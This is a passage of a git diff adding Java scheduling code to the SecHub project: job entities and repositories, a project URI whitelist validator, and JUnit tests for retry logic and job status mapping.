org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Component; +import org.springframework.transaction.annotation.Propagation; +import org.springframework.transaction.annotation.Transactional; + +import com.daimler.sechub.domain.schedule.ExecutionResult; +import com.daimler.sechub.domain.schedule.ExecutionState; +import com.daimler.sechub.domain.schedule.job.ScheduleSecHubJob; +import com.daimler.sechub.domain.schedule.job.SecHubJobRepository; +import com.daimler.sechub.sharedkernel.type.TrafficLight; + +@Component +public class SecHubJobSafeUpdater { + + @Autowired + private SecHubJobRepository repository; + + private static final Logger LOG = LoggerFactory.getLogger(SecHubJobSafeUpdater.class); + + /** + * Saves the job and also ensures we got a NEW transaction - this is necessary + * when one of the former db actions did come to an ROLLBACK. We want to ensure + * the job will be updated even in such case! This is the reason for the + * REQUIRES_NEW
    + * + * @see https://www.ibm.com/developerworks/java/library/j-ts1/index.html for + * more details about usage of Propagation.REQUIRES_NEW + * @param secHubJob + */ + @Transactional(propagation = Propagation.REQUIRES_NEW) + public void safeUpdateOfSecHubJob(UUID sechubUUID, ExecutionResult result, String trafficLightString) { + Optional secHubJobOptional = repository.findById(sechubUUID); + if (!secHubJobOptional.isPresent()) { + LOG.error("Sechub job with UUID:{} not found! Maybe deleted in meantime?", sechubUUID); + return; + } + ScheduleSecHubJob secHubJob = secHubJobOptional.get(); + secHubJob.setExecutionState(ExecutionState.ENDED); + secHubJob.setExecutionResult(result); + secHubJob.setTrafficLight(TrafficLight.fromString(trafficLightString)); + secHubJob.setEnded(LocalDateTime.now()); + + repository.save(secHubJob); + + } +} diff --git a/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/job/ScheduleSecHubJob.java b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/job/ScheduleSecHubJob.java new file mode 100644 index 0000000000..1e401ddd66 --- /dev/null +++ b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/job/ScheduleSecHubJob.java @@ -0,0 +1,199 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule.job; + +import static javax.persistence.EnumType.*; + +import java.time.LocalDateTime; +import java.util.Objects; +import java.util.UUID; + +import javax.persistence.Column; +import javax.persistence.Entity; +import javax.persistence.Enumerated; +import javax.persistence.GeneratedValue; +import javax.persistence.Id; +import javax.persistence.Table; +import javax.persistence.Version; + +import org.hibernate.annotations.GenericGenerator; + +import com.daimler.sechub.domain.schedule.ExecutionResult; +import com.daimler.sechub.domain.schedule.ExecutionState; +import com.daimler.sechub.sharedkernel.type.TrafficLight; + +/** + * Represents a JOB in SecHub. We did not name it as Job because of Spring batch + * has already a Job class which did confuse. + * + * @author Albert Tregnaghi + * + */ +@Entity +@Table(name = ScheduleSecHubJob.TABLE_NAME) +public class ScheduleSecHubJob { + + /* +-----------------------------------------------------------------------+ */ + /* +............................ SQL ......................................+ */ + /* +-----------------------------------------------------------------------+ */ + public static final String TABLE_NAME = "SCHEDULE_SECHUB_JOB"; + + public static final String COLUMN_UUID = "UUID"; + public static final String COLUMN_OWNER = "OWNER"; + public static final String COLUMN_CREATED = "CREATED"; + public static final String COLUMN_STARTED = "STARTED"; + public static final String COLUMN_ENDED = "ENDED"; + public static final String COLUMN_STATE = "STATE"; + public static final String COLUMN_CONFIGURATION = "CONFIGURATION"; + public static final String COLUMN_TRAFFIC_LIGHT = "TRAFFIC_LIGHT"; + + public static final String COLUMN_PROJECT_ID = "PROJECT_ID"; + + public static final String COLUMN_RESULT = "RESULT"; + + /* +-----------------------------------------------------------------------+ */ + /* +............................ JPQL .....................................+ */ + /* +-----------------------------------------------------------------------+ */ + public static final String CLASS_NAME = ScheduleSecHubJob.class.getSimpleName(); + + public static final String PROPERTY_EXECUTION_STATE = "executionState"; + public static final String PROPERTY_EXECUTION_RESULT = "executionResult"; + public static final String PROPERTY_PROJECT_ID = "projectId"; + public static final String PROPERTY_UUID = "uUID"; + public static final String PROPERTY_OWNER = "owner"; + public static final String PROPERTY_CREATED = "created"; + public static final String PROPERTY_STARTED = "started"; + public static final String PROPERTY_ENDED = "ended"; + + @Id + @GeneratedValue(generator = "UUID") + @GenericGenerator(name = "UUID", strategy = "org.hibernate.id.UUIDGenerator") + @Column(name = COLUMN_UUID, updatable = false, nullable = false) + UUID uUID; + + @Column(name = COLUMN_PROJECT_ID, nullable = false) + String projectId; + + @Column(name = COLUMN_OWNER, nullable = false) + String owner; + + @Column(name = COLUMN_CREATED, nullable = false) // remark: we setup hibernate to use UTC settings - see + LocalDateTime created; + + @Column(name = COLUMN_STARTED) // remark: we setup hibernate to use UTC settings - see application.properties + LocalDateTime started; + + @Column(name = COLUMN_ENDED) // remark: we setup hibernate to use UTC settings - see application.properties + LocalDateTime ended; + + @Column(name = COLUMN_CONFIGURATION) + String jsonConfiguration; + + @Enumerated(STRING) + @Column(name = COLUMN_STATE, nullable = false) + ExecutionState executionState = ExecutionState.INITIALIZING; + + @Enumerated(STRING) + @Column(name = COLUMN_RESULT, nullable = false) + ExecutionResult executionResult = ExecutionResult.NONE; + + @Enumerated(STRING) + @Column(name = COLUMN_TRAFFIC_LIGHT, nullable = true) // HIBERNATE 5.2 would support Optional, but currently we use + // 5.0.1 + TrafficLight trafficLight; + + @Version + @Column(name = "VERSION") + Integer version; + + public void setExecutionState(ExecutionState executionState) { + if (executionState == null) { + this.executionState = ExecutionState.INITIALIZING; + } else { + this.executionState = executionState; + } + } + + public void setExecutionResult(ExecutionResult executionResult) { + this.executionResult = executionResult; + } + + public void setTrafficLight(TrafficLight trafficLight) { + this.trafficLight = trafficLight; + } + + public void setStarted(LocalDateTime started) { + this.started = started; + } + + public LocalDateTime getStarted() { + return started; + } + + public void setEnded(LocalDateTime ended) { + this.ended = ended; + } + + public LocalDateTime getEnded() { + return ended; + } + + public UUID getUUID() { + return uUID; + } + + public void setOwner(String createdBy) { + this.owner = createdBy; + } + + public String getOwner() { + return owner; + } + + public String getProjectId() { + return projectId; + } + + public LocalDateTime getCreated() { + return created; + } + + public String getJsonConfiguration() { + return jsonConfiguration; + } + + public ExecutionState getExecutionState() { + return executionState; + } + + public ExecutionResult getExecutionResult() { + return executionResult; + } + + public TrafficLight getTrafficLight() { + return trafficLight; + } + + @Override + public int hashCode() { + final int prime = 31; + int result = 1; + result = prime * result + ((uUID == null) ? 0 : uUID.hashCode()); + return result; + } + + @Override + public boolean equals(Object obj) { + if (this == obj) { + return true; + } + if (obj == null) { + return false; + } + if (getClass() != obj.getClass()) { + return false; + } + ScheduleSecHubJob other = (ScheduleSecHubJob) obj; + return Objects.equals(uUID, other.uUID); + } + +} diff --git a/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/job/SecHubJobFactory.java b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/job/SecHubJobFactory.java new file mode 100644 index 0000000000..21b73e0b6a --- /dev/null +++ b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/job/SecHubJobFactory.java @@ -0,0 +1,55 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule.job; + +import static com.daimler.sechub.domain.schedule.ScheduleErrorIDConstants.*; + +import java.time.LocalDateTime; + +import javax.validation.Valid; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Component; +import org.springframework.validation.annotation.Validated; + +import com.daimler.sechub.sharedkernel.UserContextService; +import com.daimler.sechub.sharedkernel.configuration.SecHubConfiguration; +import com.daimler.sechub.sharedkernel.util.JSONConverterException; + +@Component +public class SecHubJobFactory { + + @Autowired + UserContextService userContextService; + + private static final Logger LOG = LoggerFactory.getLogger(SecHubJobFactory.class); + + /** + * Creates a new job - but does NO persistence! + * + * @param configuration + * @return job + */ + @Validated + public ScheduleSecHubJob createJob(@Valid SecHubConfiguration configuration) { + String userId = userContextService.getUserId(); + if (userId==null) { + throw new IllegalStateException("No user logged in - illegal access!"); + } + + ScheduleSecHubJob job = new ScheduleSecHubJob(); + try { + job.projectId = configuration.getProjectId(); + job.jsonConfiguration = configuration.toJSON(); + job.owner=userId; + job.created = LocalDateTime.now(); + } catch (JSONConverterException e) { + // should never happen, but... + LOG.error(CRITICAL + "Was not able to create a new job because of toJSON problem?", e); + throw new IllegalStateException(e); + } + return job; + } + +} diff --git a/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/job/SecHubJobRepository.java b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/job/SecHubJobRepository.java new file mode 100644 index 0000000000..538461df0a --- /dev/null +++ b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/job/SecHubJobRepository.java @@ -0,0 +1,16 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule.job; + +import static com.daimler.sechub.domain.schedule.job.ScheduleSecHubJob.*; + +import java.util.Optional; +import java.util.UUID; + +import org.springframework.data.jpa.repository.JpaRepository; +import org.springframework.data.jpa.repository.Query; + +public interface SecHubJobRepository extends JpaRepository, SecHubJobRepositoryCustom { + + @Query(value="SELECT * FROM "+TABLE_NAME+" where "+COLUMN_PROJECT_ID+" = ?1 and "+COLUMN_UUID+" = ?2",nativeQuery=true) + public Optional findForProject(String projectId, UUID jobUUID); +} diff --git a/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/job/SecHubJobRepositoryCustom.java b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/job/SecHubJobRepositoryCustom.java new file mode 100644 index 0000000000..d35882425b --- /dev/null +++ b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/job/SecHubJobRepositoryCustom.java @@ -0,0 +1,13 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule.job; + +import java.util.Optional; + +public interface SecHubJobRepositoryCustom { + + /** + * @return next executable job as optional - check if present or not is + * necessary + */ + Optional findNextJobToExecute(); +} diff --git a/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/job/SecHubJobRepositoryImpl.java b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/job/SecHubJobRepositoryImpl.java new file mode 100644 index 0000000000..ecce06e946 --- /dev/null +++ b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/job/SecHubJobRepositoryImpl.java @@ -0,0 +1,42 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule.job; + +import static com.daimler.sechub.domain.schedule.ExecutionState.*; +import static com.daimler.sechub.domain.schedule.job.ScheduleSecHubJob.*; + +import java.util.Optional; + +import javax.persistence.EntityManager; +import javax.persistence.LockModeType; +import javax.persistence.PersistenceContext; +import javax.persistence.Query; + +import com.daimler.sechub.sharedkernel.jpa.TypedQuerySupport; + +public class SecHubJobRepositoryImpl implements SecHubJobRepositoryCustom { + /* @formatter:off */ + public static final String JPQL_STRING_SELECT_BY_EXECUTION_STATE = + "select j from "+CLASS_NAME+" j"+ + " where j."+PROPERTY_EXECUTION_STATE+" = :"+PROPERTY_EXECUTION_STATE + + " order by j."+PROPERTY_CREATED; + /* @formatter:on */ + + private final TypedQuerySupport typedQuerySupport = new TypedQuerySupport<>(ScheduleSecHubJob.class); + + @PersistenceContext + private EntityManager em; + + @Override + public Optional findNextJobToExecute() { + + Query query = em.createQuery(JPQL_STRING_SELECT_BY_EXECUTION_STATE); + query.setParameter(PROPERTY_EXECUTION_STATE, READY_TO_START); + query.setMaxResults(1); + // we use OPTIMISTIC_FORCE_INCREMENT write lock - so only one POD will be able to execute next job... + // see https://www.baeldung.com/jpa-pessimistic-locking + query.setLockMode(LockModeType.OPTIMISTIC_FORCE_INCREMENT); + + return typedQuerySupport.getSingleResultAsOptional(query); + } + +} diff --git a/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/job/SecHubJobTraceLogID.java b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/job/SecHubJobTraceLogID.java new file mode 100644 index 0000000000..bfdf6bde0a --- /dev/null +++ b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/job/SecHubJobTraceLogID.java @@ -0,0 +1,30 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule.job; + +import java.util.UUID; + +import com.daimler.sechub.sharedkernel.TraceLogID; + +public class SecHubJobTraceLogID extends TraceLogID { + + public SecHubJobTraceLogID(ScheduleSecHubJob source) { + super(source); + } + + public static SecHubJobTraceLogID traceLogID(ScheduleSecHubJob job) { + return new SecHubJobTraceLogID(job); + } + + @Override + protected String createContent(ScheduleSecHubJob job) throws Exception { + if (job == null) { + return null; + } + UUID uuid = job.getUUID(); + if (uuid == null) { + return ""; + } + return uuid.toString(); + } + +} diff --git a/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/whitelist/ProjectWhiteListSecHubConfigurationValidationService.java b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/whitelist/ProjectWhiteListSecHubConfigurationValidationService.java new file mode 100644 index 0000000000..e20742ac27 --- /dev/null +++ b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/whitelist/ProjectWhiteListSecHubConfigurationValidationService.java @@ -0,0 +1,74 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule.whitelist; + +import java.net.InetAddress; +import java.net.URI; +import java.net.URISyntaxException; +import java.util.ArrayList; +import java.util.List; +import java.util.Optional; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import com.daimler.sechub.sharedkernel.configuration.SecHubConfiguration; +import com.daimler.sechub.sharedkernel.configuration.SecHubInfrastructureScanConfiguration; +import com.daimler.sechub.sharedkernel.configuration.SecHubWebScanConfiguration; +import com.daimler.sechub.sharedkernel.error.NotAcceptableException; + +@Service +public class ProjectWhiteListSecHubConfigurationValidationService { + + @Autowired + ProjectWhitelistEntryRepository projectWhiteListEntryRepository; + + @Autowired + ProjectWhiteListSupport support; + + public void assertAllowedForProject(SecHubConfiguration configuration) { + List whiteListEntries = projectWhiteListEntryRepository.fetchWhiteListEntriesForProject(configuration.getProjectId()); + List allowed = fetchAllowedUris(whiteListEntries); + + Optional infrascanOpt = configuration.getInfraScan(); + if (infrascanOpt.isPresent()) { + SecHubInfrastructureScanConfiguration infraconf = infrascanOpt.get(); + assertWhitelisted(allowed, infraconf.getUris()); + assertWhitelisted(allowed, asUris(infraconf.getIps())); + } + Optional webscanopt = configuration.getWebScan(); + if (webscanopt.isPresent()) { + SecHubWebScanConfiguration webconf = webscanopt.get(); + assertWhitelisted(allowed, webconf.getUris()); + } + + } + + private List asUris(List ips) { + List list = new ArrayList<>(); + for (InetAddress ip: ips) { + try { + list.add(new URI(ip.getHostAddress())); + } catch (URISyntaxException e) { + throw new IllegalStateException("An URI must be creatable by an IP-Adress?!?! IP was:"+ip, e); + } + } + return list; + } + + private void assertWhitelisted(List allowed, List wanted) { + for (URI uri: wanted) { + if (! support.isWhitelisted(uri.toString(), allowed)) { + throw new NotAcceptableException("URI not whitelisted in project:"+uri); + } + } + } + + private List fetchAllowedUris(List whiteListEntries) { + List list = new ArrayList<>(); + for (ProjectWhitelistEntry entry: whiteListEntries) { + list.add(entry.getKey().getUri()); + } + return list; + } + +} diff --git a/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/whitelist/ProjectWhiteListSupport.java b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/whitelist/ProjectWhiteListSupport.java new file mode 100644 index 0000000000..e982ab63cb --- /dev/null +++ b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/whitelist/ProjectWhiteListSupport.java @@ -0,0 +1,61 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule.whitelist; + +import java.net.URI; +import java.net.URISyntaxException; +import java.util.Collection; + +import org.springframework.stereotype.Component; + +import com.daimler.sechub.sharedkernel.error.NotAcceptableException; +import com.daimler.sechub.sharedkernel.util.SimpleStringUtils; + +@Component +public class ProjectWhiteListSupport { + + public boolean isWhitelisted(String uriAsString, Collection whitelist) { + URI uri; + try { + uri = new URI(uriAsString); + } catch (URISyntaxException e) { + throw new NotAcceptableException("Not a valid uri:"+uriAsString); + } + for (URI accepted: whitelist) { + if (isContained(uri, accepted)) { + return true; + } + } + + return false; + } + + private boolean isContained(URI toTest, URI accepted) { + boolean isContained = toTest!=null; + isContained = isContained && accepted!=null; + isContained = isContained && sameHost(toTest,accepted); + isContained = isContained && samePort(toTest, accepted); + isContained = isContained && sameProtokoll(toTest, accepted); + isContained = isContained && sameBasePath(toTest, accepted); + return isContained; + } + + private boolean sameBasePath(URI toTest, URI accepted) { + return SimpleStringUtils.startsWith(accepted.getPath(), toTest.getPath()); + } + + private boolean samePort(URI toTest, URI accepted) { + return toTest.getPort()== accepted.getPort(); + } + + private boolean sameProtokoll(URI toTest, URI accepted) { + return SimpleStringUtils.equals(toTest.getScheme(), accepted.getScheme()); + } + + private boolean sameHost(URI toTest, URI accepted) { + return SimpleStringUtils.equals(toTest.getHost(), accepted.getHost()); + } + + + + +} diff --git a/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/whitelist/ProjectWhiteListUpdateService.java b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/whitelist/ProjectWhiteListUpdateService.java new file mode 100644 index 0000000000..c14bfe3ed1 --- /dev/null +++ b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/whitelist/ProjectWhiteListUpdateService.java @@ -0,0 +1,37 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule.whitelist; + +import java.net.URI; +import java.util.Set; + +import javax.transaction.Transactional; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +@Service +public class ProjectWhiteListUpdateService { + + private static final Logger LOG = LoggerFactory.getLogger(ProjectWhiteListUpdateService.class); + + + @Autowired + ProjectWhitelistEntryRepository repository; + + @Transactional + public void update(String projectId, Set whitelist) { + LOG.info("remove old whitelist entries for project {}",projectId); + /* we just remove all entries and recreate */ + repository.deleteAllEntriesForProject(projectId); + + for (URI uri: whitelist) { + repository.save(new ProjectWhitelistEntry(projectId, uri)); + } + LOG.info("updated project '{}' whitelist entries to: {}",projectId,whitelist); + + } + + +} diff --git a/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/whitelist/ProjectWhitelistEntry.java b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/whitelist/ProjectWhitelistEntry.java new file mode 100644 index 0000000000..e067cc5a5a --- /dev/null +++ b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/whitelist/ProjectWhitelistEntry.java @@ -0,0 +1,157 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule.whitelist; + +import java.io.Serializable; +import java.net.URI; + +import javax.persistence.Column; +import javax.persistence.Embeddable; +import javax.persistence.EmbeddedId; +import javax.persistence.Entity; +import javax.persistence.Table; +import javax.persistence.Version; + +/** + * This entity represents only the whitelist uri entries for a project + * + * @author Albert Tregnaghi + * + */ +@Entity +@Table(name = ProjectWhitelistEntry.TABLE_NAME) +public class ProjectWhitelistEntry { + + /* +-----------------------------------------------------------------------+ */ + /* +............................ SQL ......................................+ */ + /* +-----------------------------------------------------------------------+ */ + public static final String TABLE_NAME = "SCHEDULE_PROJECT_WHITELIST"; + + public static final String COLUMN_PROJECT_ID = "PROJECT_ID"; + public static final String COLUMN_WHITELIST_URI = "URI"; + + /* +-----------------------------------------------------------------------+ */ + /* +............................ JPQL .....................................+ */ + /* +-----------------------------------------------------------------------+ */ + public static final String CLASS_NAME = ProjectWhitelistEntry.class.getSimpleName(); + + @EmbeddedId + private ProjectWhiteListEntryCompositeKey key; + + @Version + @Column(name = "VERSION") + Integer version; + + ProjectWhitelistEntry() { + // jpa only + } + + public ProjectWhitelistEntry(String projectId, URI uri) { + this(new ProjectWhiteListEntryCompositeKey(projectId,uri)); + } + + public ProjectWhitelistEntry(ProjectWhiteListEntryCompositeKey key) { + if (key==null) { + throw new IllegalArgumentException("key may not be null"); + } + if (key.projectId==null) { + throw new IllegalArgumentException("key.projectId may not be null"); + } + this.key=key; + } + + public ProjectWhiteListEntryCompositeKey getKey() { + return key; + } + + @Embeddable + public static class ProjectWhiteListEntryCompositeKey implements Serializable { + + private static final long serialVersionUID = 8753389792382752253L; + + @Column(name = COLUMN_PROJECT_ID, nullable = false) + private String projectId; + + @Column(name = COLUMN_WHITELIST_URI, nullable = false) + private URI uri; + + ProjectWhiteListEntryCompositeKey() { + // jpa only + } + public ProjectWhiteListEntryCompositeKey(String projectId, URI uri) { + this.uri = uri; + this.projectId = projectId; + } + + public URI getUri() { + return uri; + } + + public void setUri(URI uri) { + this.uri = uri; + } + + public String getProjectId() { + return projectId; + } + + public void setProjectId(String projectId) { + this.projectId = projectId; + } + @Override + public int hashCode() { + final int prime = 31; + int result = 1; + result = prime * result + ((projectId == null) ? 0 : projectId.hashCode()); + result = prime * result + ((uri == null) ? 0 : uri.hashCode()); + return result; + } + @Override + public boolean equals(Object obj) { + if (this == obj) + return true; + if (obj == null) + return false; + if (getClass() != obj.getClass()) + return false; + ProjectWhiteListEntryCompositeKey other = (ProjectWhiteListEntryCompositeKey) obj; + if (projectId == null) { + if (other.projectId != null) + return false; + } else if (!projectId.equals(other.projectId)) + return false; + if (uri == null) { + if (other.uri != null) + return false; + } else if (!uri.equals(other.uri)) + return false; + return true; + } + } + + @Override + public int hashCode() { + final int prime = 31; + int result = 1; + result = prime * result + ((key == null) ? 0 : key.hashCode()); + return result; + } + + @Override + public boolean equals(Object obj) { + if (this == obj) + return true; + if (obj == null) + return false; + if (getClass() != obj.getClass()) + return false; + ProjectWhitelistEntry other = (ProjectWhitelistEntry) obj; + if (key == null) { + if (other.key != null) + return false; + } else if (!key.equals(other.key)) { + return false; + } + return true; + } + +} diff --git a/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/whitelist/ProjectWhitelistEntryRepository.java b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/whitelist/ProjectWhitelistEntryRepository.java new file mode 100644 index 0000000000..7355e6110b --- /dev/null +++ b/sechub-schedule/src/main/java/com/daimler/sechub/domain/schedule/whitelist/ProjectWhitelistEntryRepository.java @@ -0,0 +1,22 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule.whitelist; + +import static com.daimler.sechub.domain.schedule.whitelist.ProjectWhitelistEntry.*; + +import java.util.List; + +import org.springframework.data.jpa.repository.JpaRepository; +import org.springframework.data.jpa.repository.Modifying; +import org.springframework.data.jpa.repository.Query; + +import com.daimler.sechub.domain.schedule.whitelist.ProjectWhitelistEntry.ProjectWhiteListEntryCompositeKey; + +public interface ProjectWhitelistEntryRepository extends JpaRepository { + + @Query(value="SELECT * FROM "+TABLE_NAME+" where "+COLUMN_PROJECT_ID+" = ?1",nativeQuery=true) + public List fetchWhiteListEntriesForProject(String projectId); + + @Modifying + @Query(value="DELETE FROM "+TABLE_NAME+" where "+COLUMN_PROJECT_ID+" = ?1",nativeQuery=true) + public void deleteAllEntriesForProject(String projectId); +} diff --git a/sechub-schedule/src/test/java/com/daimler/sechub/domain/schedule/RetryContextText.java b/sechub-schedule/src/test/java/com/daimler/sechub/domain/schedule/RetryContextText.java new file mode 100644 index 0000000000..cf2d2975c3 --- /dev/null +++ b/sechub-schedule/src/test/java/com/daimler/sechub/domain/schedule/RetryContextText.java @@ -0,0 +1,146 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule; + +import static org.junit.Assert.*; + +import org.junit.Before; +import org.junit.Test; + +public class RetryContextText { + + + @Before + public void before() { + + } + + @Test + public void max_is_zero_but_never_executionFailed_so_retry_NOT_possible() { + /* prepare */ + RetryContext retryToTest = new RetryContext(0); + + /* execute / test */ + assertFalse(retryToTest.isRetryPossible()); + } + + @Test + public void max_is_1_but_never_executionFailed_so_retry_possible() { + /* prepare */ + RetryContext retryToTest = new RetryContext(1); + + /* execute / test */ + assertTrue(retryToTest.isRetryPossible()); + } + + @Test + public void max_is_n1_but_never_executionFailed_so_retry_NOT_possible() { + /* prepare */ + RetryContext retryToTest = new RetryContext(-1); + + /* execute / test */ + assertFalse(retryToTest.isRetryPossible()); + } + + @Test + public void max_is_0_additional_one_executionFailed_so_retry_NOT_possible() { + /* prepare */ + RetryContext retryToTest = new RetryContext(0); + + retryToTest.executionFailed(); + + /* execute / test */ + assertFalse(retryToTest.isRetryPossible()); + } + + @Test + public void max_is_1_one_executionFailed_so_retry_NOT_possible() { + /* prepare */ + RetryContext retryToTest = new RetryContext(1); + + retryToTest.executionFailed(); + + /* execute / test */ + assertFalse(retryToTest.isRetryPossible()); + } + + @Test + public void max_is_1_two_executionFailed_so_retry_NOT_possible() { + /* prepare */ + RetryContext retryToTest = new RetryContext(1); + + retryToTest.executionFailed(); + retryToTest.executionFailed(); + + /* execute / test */ + assertFalse(retryToTest.isRetryPossible()); + } + + @Test + public void max_is_2_one_executionFailed_so_retry_possible() { + /* prepare */ + RetryContext retryToTest = new RetryContext(2); + + retryToTest.executionFailed(); + + /* execute / test */ + assertTrue(retryToTest.isRetryPossible()); + } + + @Test + public void max_is_2_two_executionFailed_so_retry_not_possible() { + /* prepare */ + RetryContext retryToTest = new RetryContext(2); + + retryToTest.executionFailed(); + retryToTest.executionFailed(); + + /* execute / test */ + assertFalse(retryToTest.isRetryPossible()); + } + + @Test + public void retry_done_with_time_to_wait_100_waits_at_least_200_ms() { + /* prepare */ + RetryContext retryToTest = new RetryContext(2); + retryToTest.setRetryTimeToWait(100); + long time1 = System.currentTimeMillis(); + retryToTest.executionFailed(); + retryToTest.executionFailed(); + long elapsed = System.currentTimeMillis()-time1; + + /* execute / test */ + assertTrue("Time elapsed:"+elapsed, elapsed>=200); + } + + @Test + public void _2_retries_done_with_time_to_wait_10ms_waits_not_longer_than_50_ms() { + /* prepare */ + RetryContext retryToTest = new RetryContext(2); + retryToTest.setRetryTimeToWait(10); + long time1 = System.currentTimeMillis(); + retryToTest.executionFailed(); + retryToTest.executionFailed(); + long elapsed = System.currentTimeMillis()-time1; + + /* execute / test */ + assertTrue("Time elapsed:"+elapsed, elapsed<=50); + } + + @Test + public void max_is_2_none_executionFailed_but_done_called_so_no_retry_possible() { + /* prepare */ + RetryContext retryToTest = new RetryContext(2); + + /* check preconditions - getter call has no influences at all*/ + assertTrue(retryToTest.isRetryPossible()); + assertTrue(retryToTest.isRetryPossible()); + assertTrue(retryToTest.isRetryPossible()); + + /* execute */ + retryToTest.executionDone(); + + /* test */ + assertFalse(retryToTest.isRetryPossible()); + } + +} diff --git a/sechub-schedule/src/test/java/com/daimler/sechub/domain/schedule/ScheduleJobStatusTest.java b/sechub-schedule/src/test/java/com/daimler/sechub/domain/schedule/ScheduleJobStatusTest.java new file mode 100644 index 0000000000..ad93678e12 --- /dev/null +++ b/sechub-schedule/src/test/java/com/daimler/sechub/domain/schedule/ScheduleJobStatusTest.java @@ -0,0 +1,141 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.schedule; + +import static org.junit.Assert.*; +import static org.mockito.Mockito.*; + +import java.time.LocalDateTime; + +import org.junit.Before; +import org.junit.Test; + +import com.daimler.sechub.domain.schedule.job.ScheduleSecHubJob; +import com.daimler.sechub.sharedkernel.type.TrafficLight; + +public class ScheduleJobStatusTest { + + private static final String LOCALDATETIME_1_AS_STRING = "2018-03-02T15:43:15.304"; + private ScheduleSecHubJob secHubJob; + private ScheduleJobStatus statusToTest; + private LocalDateTime localDateTime1 = LocalDateTime.parse(LOCALDATETIME_1_AS_STRING); + + @Before + public void before() throws Exception { + secHubJob = mock(ScheduleSecHubJob.class); + } + + @Test + public void when_traficclight_is_null_status_has_empty_string() { + /* execute */ + statusToTest = new ScheduleJobStatus(secHubJob); + + /* test */ + assertEquals("", statusToTest.trafficLight); + } + + @Test + public void when_created_is_null_status_has_empty_string() { + /* execute */ + statusToTest = new ScheduleJobStatus(secHubJob); + + /* test */ + assertEquals("", statusToTest.created); + } + + @Test + public void when_ended_is_null_status_has_empty_string() { + /* execute */ + statusToTest = new ScheduleJobStatus(secHubJob); + + /* test */ + assertEquals("", statusToTest.ended); + } + + @Test + public void when_started_is_null_status_has_empty_string() { + /* execute */ + statusToTest = new ScheduleJobStatus(secHubJob); + + /* test */ + assertEquals("", statusToTest.started); + } + + @Test + public void when_trafficlight_is_GREEN_status_has_GREEN() { + /* prepare */ + + when(secHubJob.getTrafficLight()).thenReturn(TrafficLight.GREEN); + + /* execute */ + statusToTest = new ScheduleJobStatus(secHubJob); + + /* test */ + assertEquals("GREEN", statusToTest.trafficLight); + } + + @Test + public void when_trafficlight_is_RED_status_has_RED() { + /* prepare */ + + when(secHubJob.getTrafficLight()).thenReturn(TrafficLight.RED); + + /* execute */ + statusToTest = new ScheduleJobStatus(secHubJob); + + /* test */ + assertEquals("RED", statusToTest.trafficLight); + } + + @Test + public void when_trafficlight_is_YELLOW_status_has_YELLOW() { + /* prepare */ + + when(secHubJob.getTrafficLight()).thenReturn(TrafficLight.YELLOW); + + /* execute */ + statusToTest = new ScheduleJobStatus(secHubJob); + + /* test */ + assertEquals("YELLOW", statusToTest.trafficLight); + } + + @Test + public void when_created_is_NOT_null_status_has_localdate_time_string() { + /* prepare */ + + when(secHubJob.getCreated()).thenReturn(localDateTime1); + + /* execute */ + statusToTest = new ScheduleJobStatus(secHubJob); + + /* test */ + assertEquals(LOCALDATETIME_1_AS_STRING, statusToTest.created); + } + + @Test + public void when_started_is_NOT_null_status_has_localdate_time_string() { + /* prepare */ + + when(secHubJob.getStarted()).thenReturn(localDateTime1); + + /* execute */ + statusToTest = new ScheduleJobStatus(secHubJob); + + /* test */ + 